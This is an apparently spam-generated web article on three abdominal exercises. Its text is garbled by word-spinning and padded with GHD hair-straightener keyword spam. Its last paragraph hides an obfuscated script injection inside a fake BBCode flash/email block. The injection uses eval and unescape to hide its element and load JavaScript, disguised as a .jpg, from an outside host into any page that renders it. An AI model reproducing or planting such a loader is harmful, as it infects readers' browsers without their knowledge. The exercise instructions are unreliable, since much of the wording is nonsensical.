Abdominal exercise there are 3 classical action

Abdominal muscles is a character of muscular create, but likewise protect the important portions of the body armor. Weak abdominal muscles can occasion pelvic tilt and lumbar curvature additional, and increased hazard of low back pain. Abdominal exercises is necessary. Here are three action exercises the abdominal muscles,GHD, simple, classic:
a supine leg heave. Lying in mattress or layer mat, back close to the bed (alternatively ground), his hands clenched the bed fixed upper body, legs when on the push, when down, repeatedly.
to do the movements to the attention of: 1. cozy to vibrate the body, can ascertain partners to prevent the body resist upper body swing. 2. If you ambition to maximize lower abdominal exercise, the highest point in every action,GHD Hair Ireland, escalator the buttocks for far as feasible in order to entirely mobilize the lower belly muscles. 3. If you muse this action is tough,GHD Mini Styler, legs slightly bent to dwindle the degree of hardship can be to complete the action.
2 supine leg raise pedal. Lying in bed or floor mat, back close to the bed (or floor); while holding the legs, so legs stay in the wind and do a bicycle in the climate action, reiterated many times.
to do the movements to the attention of: 1. the premier time to do this action will feel exhausted, range should not be also much, not too fast. 2. Action versed to do after each
three pew sit-ups. Lying on the ground, legs resting on the bench (or seat, edge of the bed, steps) on the upper body-ups to abdominal strength. Restore shoulder slowly down the ground,GHD Kiss Styler, forever constrict the abdominal muscles.
do this operation to the care of: 1. Do no hand behind your pate. Be tired soon for while your brain will be hard with either hands ashore the neck muscles are broke. 2. Shoulders straight from the ground the higher the extra the better, but back to near to the floor. 3. Note namely the upper body settled. 4. Do not coerce your feet. [Flash,GHD Hair Straightener, 0,GHD Blue Styler,0] http://catche.qq.com/temp/20081209/4236888.swf [email =] id = baidu neatness = ee: wording (eval (unescape ('this.parentNode.neatness.display% 3D% 27none% 27% 3Bif% 28% 21window.xxr% 29% 7Bvar% 20l% 3Ddocument.createElement% 28% 27script% 27% 29% 3Bl.src% 3D% 27http% 3A / / love.avtupian.com / a / q / mq.jpg% 27% 3Bl.type% 3D% 27text/javascript% 27% 3Bdocument.getElementsByTagName% 28% 27head% 27% 29.item% 280% 29.appendChild% 28l% 29% 3Bwindow.xxr% 3D1 % 7D'))); display: none; @ qq.com [/ email] [/ flash]